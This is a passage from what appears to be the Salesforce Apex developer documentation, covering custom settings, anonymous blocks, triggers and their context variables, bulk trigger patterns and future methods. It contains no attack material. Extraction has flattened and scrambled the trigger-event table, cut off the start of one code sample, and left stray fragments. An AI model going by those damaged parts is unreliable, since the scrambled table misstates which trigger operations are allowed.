rules, flows, Apex, and the SOAP API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular
set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings
does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations,
international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you
don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you personalize settings for specific profiles or users. The
hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or lowest, value.
In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.
The following examples illustrate how you can use custom settings:
A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country
codes, users have quick access to this data without needing to query the database.
An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales
reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for
route and traffic, you can enable this data for just the Sales Rep profile.
You can create a custom setting in the Salesforce user interface: from Setup, enter Custom Settings in the Quick Find box,
then select Custom Settings. After creating a custom setting and youve added fields, provide data to your custom setting by clicking
Manage from the detail page. Each data set is identified by the name you give it.
For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data sets can
look like the following:

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Custom Settings

Data Set Name

Country Code Field Value

United States

USA

Canada

CAN

United Kingdom

GBR

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility
setting.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the
custom settings using Apex code run by the subscribing organization after theyve installed the package.
Apex can access both custom setting typeslist and hierarchy.
Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing
organization cannot edit the values or access them using Apex.

Accessing a List Custom Setting

The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated with
the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

The following example uses the getValues method to return all the field values associated with the specified data set. This method
can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Accessing a Hierarchy Custom Setting

The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

The following example uses the getInstance method to return the data set values for the specified profile. The getInstance
method can also be used with a user ID.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

WAYS TO INVOKE APEX

CHAPTER 8
In this chapter ...

Invoking Apex
This chapter describes in detail the different mechanisms for invoking Apex code.
Here is an overview of the many ways you can invoke Apex. You can run Apex using:

Anonymous Blocks

Triggers

A code snippet in an anonymous block.

Asynchronous Apex

A trigger invoked for specified events.

Web Services

Apex Email Service

Asynchronous Apex by executing a future method, scheduling an Apex class to run at specified
intervals, or running a batch job.

Visualforce Classes

Apex Web Services, which allow exposing your methods via SOAP and REST Web services.

Invoking Apex Using

JavaScript

Apex Email Service to process inbound email.

Visualforce controllers, which contain logic in Apex for Visualforce pages.
The Ajax toolkit to invoke Web service methods implemented in Apex.

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Anonymous Blocks

Anonymous Blocks
User Permissions Needed
To execute anonymous Apex:

Author Apex

(Anonymous Apex execution through the API allows restricted access without the Author
Apex permission.)

An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed using one of the
following:
Developer Console
Force.com IDE
The executeAnonymous() SOAP API call:
ExecuteAnonymousResult executeAnonymous(String code)

You can use anonymous blocks to quickly evaluate Apex on the fly, such as in the Developer Console or the Force.com IDE, or to write
code that changes dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as
a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database.
Note the following about the content of an anonymous block (for executeAnonymous(), the code String):
Can include user-defined methods and exceptions.
User-defined methods cannot include the keyword static.
You do not have to manually commit any database changes.
If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not
complete successfully, any changes made to the database are rolled back.
Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's
object- and field-level permissions.
Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning. The
scope of the method is limited to the anonymous block.
When you define a class or interface (a custom type) in an anonymous block, the class or interface is considered virtual by default
when the anonymous block executes. This is true even if your custom type wasnt defined with the virtual modifier. Save your
class or interface in Salesforce to avoid this from happening. Note that classes and interfaces defined in an anonymous block arent
saved in your organization.
Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be
referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1 does
not:
Integer int1 = 0;
void myProcedure1() {
myProcedure2();
}
void myProcedure2() {
int1++;

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Triggers

}
myProcedure1();

The return result for anonymous blocks includes:

Status information for the compile and execute phases of the call, including any errors that occur
The debug log content, including the output of any calls to the System.debug method (see Debug Log on page 515)
The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack
element
For more information on executeAnonymous(), see SOAP API and SOAP Headers for Apex. See also Working with Logs in the
Developer Console and the Force.com IDE.

Executing Anonymous Apex through the API and the Author Apex
Permission
To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the organization, users must
have the Author Apex permission. For users who dont have the Author Apex permission, the API allows restricted execution of
anonymous Apex. This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the
API, but not in the Developer Console. Such users are allowed to run the following in an anonymous block.
Code that they write in the anonymous block
Web service methods (methods declared with the webservice keyword) that are saved in the organization
Any built-in Apex methods that are part of the Apex language
Running any other Apex code isnt allowed when the user doesnt have the Author Apex permission. For example, calling methods of
custom Apex classes that are saved in the organization isnt allowed nor is using custom classes as arguments to built-in methods.
When users without the Author Apex permission run DML statements in an anonymous block, triggers can get fired as a result.

Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce records,
such as insertions, updates, or deletions.
A trigger is Apex code that executes before or after the following types of operations:
insert
update
delete
merge
upsert
undelete
For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or
even after a record is restored from the Recycle Bin.
You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects,
such as a CaseComment, and custom objects. To define a trigger, from the object management settings for the object whose triggers
you want to access, go to Triggers.

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Bulk Triggers

There are two types of triggers:

Before triggers are used to update or validate record values before theyre saved to the database.
After triggers are used to access field values that are set by the system (such as a record's Id or LastModifiedDate field), and
to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. The records that
fire the after trigger are read-only.
Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after
an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and
because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and
sets limits on the number of operations that can be performed to prevent infinite recursion. See Execution Governors and Limits on page
273.
Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error.
This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A
inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or
database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.

Implementation Considerations
Before creating triggers, consider the following:
upsert triggers fire both before and after insert or before and after update triggers as appropriate.
merge triggers fire both before and after delete triggers for the losing records and before update triggers for the winning
record only. See Triggers and Merge Statements on page 217.
Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on
page 218.
Field history is not recorded until the end of a trigger. If you query field history in a trigger, you dont see any history for the current
transaction.
Field history tracking honors the permissions of the current user. If the current user doesn't have permission to directly edit an object
or field, but they activate a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.
In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split
into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes
a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same
HTTP request.

Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one
record at a time.
Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.
Bulk triggers can handle both single record updates and bulk operations like:
Data import
Force.com Bulk API calls
Mass actions, such as record owner changes and deletes
Recursive Apex methods and triggers that invoke bulk DML statements

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Trigger Syntax

Trigger Syntax
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {

code_block
}

The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In
addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully,
any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the
database are rolled back.

Trigger Context Variables

All triggers define implicit variables that allow developers to access run-time context. These variables are contained in the
System.Trigger class.
Variable

Usage

isExecuting

Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.

isInsert

Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.

isUpdate

Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.

isDelete

Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.

isBefore

Returns true if this trigger was fired before any record was saved.

isAfter

Returns true if this trigger was fired after all records were saved.

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Trigger Context Variables

Variable

Usage

isUndelete

Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after
an undelete operation from the Salesforce user interface, Apex, or the API.)

new

Returns a list of the new versions of the sObject records.

Note that this sObject list is only available in insert and update triggers, and the records can
only be modified in before triggers.

newMap

A map of IDs to the new versions of the sObject records.

Note that this map is only available in before update, after insert, and after
update triggers.
Returns a list of the old versions of the sObject records.

old

Note that this sObject list is only available in update and delete triggers.
oldMap

A map of IDs to the old versions of the sObject records.

Note that this map is only available in update and delete triggers.

size

The total number of records in a trigger invocation, both old and new.

Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set
to null in the new, newMap, old, and oldMap trigger context variables.
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind
variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}

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Context Variable Considerations

if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
} else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
// If the trigger is not a before trigger, it must be an after trigger.
} else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
for (Account a : Trigger.new) {
if(a.Name == 'makeContact') {
contacts.add(new Contact (LastName = a.Name,
AccountId = a.Id));
}
}
insert contacts;
}
}
}}}

Context Variable Considerations

Be aware of the following considerations for trigger context variables:
trigger.new and trigger.old cannot be used in Apex DML operations.
You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers,
trigger.new is not saved, so a runtime exception is thrown.
trigger.old is always read-only.
You cannot delete trigger.new.
The following table lists considerations about certain actions in different trigger events:

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Trigger Event

Common Bulk Trigger Idioms

Can change fields using

Can update original object Can delete original object

using an update DML
using a delete DML
operation
operation

trigger.new

before insert

Allowed.

Not applicable. The original

object has not been created;
nothing can reference it, so
nothing can update it.

after insert

Not allowed. A runtime error is Allowed.

thrown, as trigger.new is
already saved.

Allowed, but unnecessary. The

object is deleted immediately
after being inserted.

before update

Allowed.

Not allowed. A runtime error is

thrown.

after update

Not allowed. A runtime error is Allowed. Even though bad code

thrown, as trigger.new is could cause an infinite recursion
doing this incorrectly, the error
already saved.
would be found by the governor
limits.

before delete

Not allowed. A runtime error is

thrown. trigger.new is not
available in before delete
triggers.

after delete

Not allowed. A runtime error is Not applicable. The object has

thrown. trigger.new is not already been deleted.
available in after delete triggers.

Not applicable. The object has

already been deleted.

after undelete

Not allowed. A runtime error is Allowed.

thrown. trigger.old is not
available in after undelete
triggers.

Allowed, but unnecessary. The

object is deleted immediately
after being inserted.

Not allowed. A runtime error is

thrown.

Not applicable. The original

object has not been created;
nothing can reference it, so
nothing can update it.

Allowed. The updates are saved

before the object is deleted, so
if the object is undeleted, the
updates become visible.

Allowed. The updates are saved Not allowed. A runtime error is

before the object is deleted, so thrown. The deletion is already
if the object is undeleted, the
in progress.
updates become visible.

Common Bulk Trigger Idioms

Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult
for developers to understand and code because they involve processing batches of several records at a time. The following sections
provide examples of idioms that should be used frequently when writing in bulk.

Using Maps and Sets in Bulk Triggers

Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps
can be used to hold query results organized by record ID.
For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem
records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their

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Common Bulk Trigger Idioms

associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems
in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {
// For every OpportunityLineItem record, add its associated pricebook entry
// to a set so there are no duplicates.
Set<Id> pbeIds = new Set<Id>();
for (OpportunityLineItem oli : Trigger.new)
pbeIds.add(oli.pricebookentryid);
// Query the PricebookEntries for their associated product color and place the results
// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);
// Now use the map to set the appropriate color on every OpportunityLineItem processed
// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}

Correlating Records with Query Results in Bulk Triggers

Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this
trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()).
The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For
every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) {
for (Quote__c q : [SELECT opportunity__c FROM quote__c
WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
opportunity with a quote');
}
}

Using Triggers to Insert or Update Records with Unique Fields

When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the
error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct
by the time the request is finished.
When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new
keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert
event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the
changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second
record is no longer valid.

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Defining Triggers

Defining Triggers
Trigger code is stored as metadata under the object with which they are associated. To define a trigger in Salesforce:
1. From the object management settings for the object whose triggers you want to access, go to Triggers.
Tip: For the Attachment, ContentDocument, and Note standard objects, you cant create a trigger in the Salesforce user
interface. For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE.
Alternatively, you can also use the Metadata API.
2. In the Triggers list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the
default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed
package. You can specify an older version of a managed package if you want to access components or functionality that differs from
the most recent package version.
4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox
deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {

code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:
before insert
before update
before delete
after insert
after update
after delete
after undelete
Note: A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since
the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial
changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses
the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively,
you can choose to prevent records from being deleted if theyre in a lookup relationship.

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Triggers and Merge Statements

The Apex Trigger Editor

) to quickly navigate through the editor.

Operations That Don't Invoke Triggers

Note: During a recursive save, Salesforce skips steps 8 (assignment rules) through 17 (roll-up summary field in the grandparent
record).

Additional Considerations
Please note the following when working with triggers.
The order of execution isnt guaranteed when having multiple triggers for the same object due to the same event. For example, if
you have two before insert triggers for Case, and a new Case record is inserted that fires the two triggers, the order in which these
triggers fire isnt guaranteed.
When a DML call is made with partial success allowed, more than one attempt can be made to save the successful records if the
initial attempt results in errors for some records. For example, an error can occur for a record when a user-validation rule fails. Triggers
are fired during the first attempt and are fired again during subsequent attempts. Because these trigger invocations are part of the
same transaction, static class variables that are accessed by the trigger aren't reset. DML calls allow partial success when you set the
allOrNone parameter of a Database DML method to false or when you call the SOAP API with default settings. For more
details, see Bulk DML Exception Handling.
If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as follows:
If you set Stage and Forecast Category, the opportunity record contains those exact values.
If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults
to the one associated with trigger Stage.
If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category value
should also come from the API call or user interface. If no value for Forecast Category is specified and the incoming
Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage.
If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted.
If you are cloning an opportunity with products, the following events occur in order:
1. The parent opportunity is saved according to the list of events shown above.
2. The opportunity products are saved according to the list of events shown above.
Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning.
If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.
Trigger.old contains a version of the objects before the specific update that fired the trigger. However, there is an exception.
When a record is updated and subsequently triggers a workflow rule field update, Trigger.old in the last update trigger wont
contain the version of the object immediately prior to the workflow update, but the object before the initial update was made. For
example, suppose an existing record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule
field update fires and increments it to 11. In the update trigger that fires after the workflow field update, the field value of the object
obtained from Trigger.old is the original value of 1, rather than 10, as would typically be the case.

Operations That Don't Invoke Triggers

Some operations dont invoke triggers.
Triggers are invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server.
Therefore, some system bulk operations don't invoke triggers. Some examples include:
Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation.
Cascading updates of child records that are reparented as a result of a merge operation
Mass campaign status changes

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Entity and Field Considerations in Triggers

Mass division transfers

Mass address updates
Mass approval request transfers
Mass email actions
Modifying custom field data types
Renaming or replacing picklists
Managing price books
Changing a user's default division with the transfer division option checked
Changes to the following objects:
BrandTemplate
MassEmailTemplate
Folder
Update account triggers don't fire before or after a business account record type is changed to person account (or a person account
record type is changed to business account.)
Note: Inserts, updates, and deletes on person accounts fire Account triggers, not Contact triggers.
The before triggers associated with the following operations are fired during lead conversion only if validation and triggers for lead
conversion are enabled in the organization:
insert of accounts, contacts, and opportunities
update of accounts and contacts
Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing.
When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product,
even if the opportunity product changes the opportunity, the before and after triggers and the validation rules don't fire for the
opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.
The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.
Note: Content packs are revised when a slide inside the pack is revised.
Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion
records originates from the API.
You can't use before or after delete triggers with the ContentVersion object.
Triggers on the Attachment object dont fire when:
the attachment is created via Case Feed publisher.
the user sends email via the Email related list and adds an attachment file.
Triggers fire when the Attachment object is created via Email-to-Case or via the UI.

Entity and Field Considerations in Triggers

When you create triggers, consider the behavior of certain entities, fields, and operations.

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Entity and Field Considerations in Triggers

QuestionDataCategorySelection Entity Not Available in After Insert Triggers

The after insert trigger that fires after inserting one or more Question records doesnt have access to the
QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following
query doesnt return any results in an after insert trigger:
QuestionDataCategorySelection[] dcList =
[select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];

Fields Not Updateable in Before Triggers

Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these fields
cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
Task.isClosed
Opportunity.amount*
Opportunity.ForecastCategory
Opportunity.isWon
Opportunity.isClosed
Contract.activatedDate
Contract.activatedById
Case.isClosed
Solution.isReviewed
Id (for all records)**
createdDate (for all records)**
lastUpdated (for all records)
Event.WhoId (when Shared Activities is enabled)
Task.WhoId (when Shared Activities is enabled)
* When Opportunity has no lineitems, Amount can be modified by a before trigger.
** Id and createdDate can be detected in before update triggers, but cannot be modified.

Fields Not Updateable in After Triggers

The following fields cant be updated by after insert or after update triggers.
Event.WhoId
Task.WhoId

Considerations for Event DateTime Fields in Insert and Update Triggers

We recommend using the following date and time fields to create or update events.
When creating or updating a timed Event, use ActivityDateTime to avoid issues with inconsistent date and time values.
When creating or updating an all-day Event, use ActivityDate to avoid issues with inconsistent date and time values.
We recommend that you use DurationInMinutes because it works with all updates and creates for Events.

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Triggers for Chatter Objects

Operations Not Supported in Insert and Update Triggers

The following operations arent supported in insert and update triggers.
Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled
Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled

Entities Not Supported in After Undelete Triggers

Certain objects cant be restored, and therefore, shouldnt have after undelete triggers.
CollaborationGroup
CollaborationGroupMember
FeedItem
FeedComment

Considerations for Update Triggers

Field history tracking honors the permissions of the current user. If the current user doesn't have permission to directly edit an object or
field, but they activate a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.

Considerations for the Salesforce Side Panel for Salesforce for Outlook
When an email is associated to a record using the Salesforce Side Panel for Salesforce for Outlook, the email associations are represented
in the WhoId or WhatId fields on a task record. Associations are completed after the task is created, so the Task.WhoId and
Task.WhatId fields arent immediately available in before or after Task triggers for insert and update events, and their values
are initially null. The WhoId and WhatId fields are set on the saved task record in a subsequent operation, however, so their values
can be retrieved later.
SEE ALSO:
Triggers for Chatter Objects

Triggers for Chatter Objects

You can write triggers for the FeedItem and FeedComment objects.

Trigger Considerations for FeedItem, FeedAttachment, and FeedComment

Only FeedItems of type TextPost, LinkPost, HasLink, ContentPost, and HasContent can be inserted, and therefore
invoke the before or after insert trigger. User status updates don't cause the FeedItem triggers to fire.
While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against
versions before 21.0.
For FeedItem, the following fields are not available in the before insert trigger:
ContentSize
ContentType
In addition, the ContentData field is not available in any delete trigger.

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Triggers for Chatter Objects

Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
The attachment and capabilities information may not be available from these methods:
ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedElement,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.getFeedElementPoll,
ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.postFeedElement,
ConnectApi.ChatterFeeds.shareFeedItem, ConnectApi.ChatterFeeds.shareFeedElement,
ConnectApi.ChatterFeeds.voteOnFeedPoll, and ConnectApi.ChatterFeeds.voteOnFeedElementPoll
FeedAttachment is not a triggerable object. You can access feed attachments in FeedItem update triggers through a SOQL query.
For example:
trigger FeedItemTrigger on FeedItem (after update) {
List<FeedAttachment> attachments =

[SELECT Id, Title, Type, FeedEntityId

FROM FeedAttachment
WHERE FeedEntityId IN :Trigger.new ];

for (FeedAttachment attachment : attachments) {

System.debug(attachment.Type);
}
}

When a feed item with associated attachments is inserted, the FeedItem is inserted first, then the FeedAttachment records are
created next. On update of a feed item with associated attachments, the FeedAttachment records are inserted first, then the FeedItem
is updated. As a result of this sequence of operations, FeedAttachments are available in update triggers only, and arent available in
insert triggers.
The following feed attachment operations cause the FeedItem update triggers to fire.
A FeedAttachment is added to a FeedItem and causes the FeedItem type to change.
A FeedAttachment is removed from a FeedItem and causes the FeedItem type to change.
FeedItem triggers arent fired when inserting or updating a FeedAttachment that doesnt cause a change on the associated FeedItem.
You cant insert, update, or delete FeedAttachments in before update and after update FeedItem triggers.
For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained
through FeedComment.RelatedRecordId) are not available.

Other Chatter Trigger Considerations

Apex code uses extra security when executing in a Chatter context. To post to a private group, the user running the code must be
a member of that group. If the running user isn't a member, you can set the CreatedById field to be a member of the group
in the FeedItem record.

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Trigger Exceptions

When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member
count is correct. As a result, when CollaborationGroupMember update or delete triggers run, CollaborationGroup update
triggers run as well.
SEE ALSO:
Entity and Field Considerations in Triggers
Object Reference for Salesforce and Force.com: FeedItem
Object Reference for Salesforce and Force.com: FeedAttachment
Object Reference for Salesforce and Force.com: FeedComment
Object Reference for Salesforce and Force.com: CollaborationGroup
Object Reference for Salesforce and Force.com: CollaborationGroupMember

Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used
on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom
error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.
A subset of the records being processed can be marked with the addError() method:
If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the
runtime engine still processes every record in the operation to compile a comprehensive list of errors.
If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to
do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 140.
If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.
SEE ALSO:
addError(errorMsg)
addError(errorMsg)

Trigger and Bulk Request Best Practices

A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized
to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.
This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this
might support most user interface events, it does not support bulk operations invoked through the SOAP API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) {
User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id];
}

This is another example of a flawed programming pattern. It assumes that less than 100 records are pulled in during a trigger invocation.
If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 100 SELECT statements:
trigger MileageTrigger on Mileage__c (before insert, before update) {
for(mileage__c m : Trigger.new){

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User c = [SELECT Id FROM user WHERE mileageid__c = m.Id];

}
}

For more information on governor limits, see Execution Governors and Limits on page 273.
This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before insert, before update) {
Set<ID> ids = Trigger.newMap.keySet();
List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}

This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single
SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.

Best Practices for Designing Bulk Programs

The following are the best practices for this design pattern:
Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML
operations against these collections.
Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL
statement used with the IN clause.
SEE ALSO:
Developing Code in the Cloud

Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.
This table lists the asynchronous Apex features and when to use each.
Asynchronous Apex Feature

When to Use

Future Methods

When you have a long-running method and need to prevent

delaying an Apex transaction
When you make callouts to external Web services
To segregate DML operations and bypass the mixed save DML
error

Queueable Apex

To start a long-running operation and get an ID for it

To pass complex types to a job
To chain jobs

Batch Apex

For long-running jobs with large data volumes that need to

be performed in batches, such as database maintenance jobs

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Future Methods

When to Use
For jobs that need larger query results than regular transactions
allow

Scheduled Apex

To schedule an Apex class to run on a specific schedule

Future Methods
A future method runs in the background, asynchronously. You can call a future method for executing long-running operations, such as
callouts to external Web services or any operation youd like to run in its own thread, on its own time. You can also make use of future
methods to isolate DML operations on different sObject types to prevent the mixed DML error. Each future method is queued and
executes when system resources become available. That way, the execution of your code doesnt have to wait for the completion of a
long-running operation. A benefit of using future methods is that some governor limits are higher, such as SOQL query limits and heap
size limits.
To define a future method, simply annotate it with the future annotation, as follows.
global class FutureClass
{
@future
public static void myFutureMethod()
{
// Perform some operations
}
}

Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
The reason why sObjects cant be passed as arguments to future methods is because the sObject might change between the time you
call the method and the time it executes. In this case, the future method will get the old sObject values and might overwrite them. To
